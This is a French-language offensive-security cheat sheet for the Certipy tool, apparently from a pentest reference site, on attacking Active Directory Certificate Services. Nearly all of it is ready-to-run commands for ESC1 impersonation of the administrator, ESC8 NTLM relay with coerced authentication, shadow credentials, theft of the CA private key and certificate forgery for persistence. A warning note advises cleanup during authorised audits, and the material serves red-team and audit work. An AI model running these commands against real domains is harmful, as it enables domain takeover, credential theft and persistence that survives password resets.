---
title: Certipy
description: "Énumérer et exploiter les services de certificats Active Directory : ESC1 à ESC8, forge et relais."
category: ad
kind: tool
tags: [adcs, pki, esc1, certificates, relay]
level: advanced
updated: 2026-11-11
order: 6
aliases: ["adcs", "certificate services", "esc1"]
---

## Énumérer

```bash
# Templates et CA vulnérables
certipy find -u user@domain.local -p 'Password' -dc-ip 10.10.10.10 -vulnerable

# Sortie lisible + JSON
certipy find -u user@domain.local -p 'Password' -dc-ip 10.10.10.10 \
  -vulnerable -stdout -json certipy.json

# Avec hash
certipy find -u user@domain.local -hashes :NTHASH -dc-ip 10.10.10.10 -vulnerable
```

| ESC | Cause | Impact |
| --- | --- | --- |
| ESC1 | Le demandeur contrôle le SAN | Usurper n'importe quel UPN |
| ESC2 | Template « Any Purpose » | Usage arbitraire du certificat |
| ESC3 | Enrollment agent mal contrôlé | Demander pour autrui |
| ESC4 | ACL d'écriture sur un template | Modifier le template |
| ESC6 | `EDITF_ATTRIBUTESUBJECTALTNAME2` | SAN arbitraire sur tous les templates |
| ESC8 | Endpoint HTTP d'enrollment | Relais NTLM vers l'ADCS |

## Exploiter ESC1

```bash
# Demander un certificat au nom de l'admin
certipy req -u user@domain.local -p 'Password' \
  -ca CORP-CA -template VulnUser -upn administrator@domain.local \
  -dc-ip 10.10.10.10

# Authentifier avec le PFX et récupérer le hash NT
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
```

```bash
# ESC8 : relais NTLM vers l'endpoint HTTP d'enrollment
certipy relay -target http://ca01.domain.local -template DomainController

# Puis forcer une authentification (PetitPotam, PrinterBug, etc.)
# et utiliser le PFX obtenu
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10
```

## Shadow credentials

```bash
# Ajouter une clé à un compte (droits d'écriture requis)
certipy shadow auto -u user@domain.local -p 'Password' \
  -account victim -dc-ip 10.10.10.10

# Nettoyer la clé ajoutée
certipy shadow remove -u user@domain.local -p 'Password' \
  -account victim -dc-ip 10.10.10.10
```

## Forge et sauvegarde

```bash
# Sauvegarder la clé privée de la CA (si contrôle total)
certipy ca -u user@domain.local -p 'Password' -ca CORP-CA -backup

# Forger un certificat avec la CA compromise
certipy forge -ca-pfx CORP-CA.pfx -upn administrator@domain.local \
  -subject "CN=Administrator" -out forged.pfx

# Authentifier
certipy auth -pfx forged.pfx -dc-ip 10.10.10.10
```

> [!TIP]
> ESC1 se détecte en quelques secondes : cherche les templates où `Enrollment Rights` incluent `Domain Users` et où `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` est actif. C'est souvent le raccourci le plus court vers Domain Admin.

> [!WARNING]
> Un certificat forgé ou un accès à la clé de CA permet de persister même après un reset de mot de passe. En audit, documente la faisabilité, ne laisse pas de certificats actifs et nettoie les entrées `msDS-KeyCredentialLink` que tu as créées.
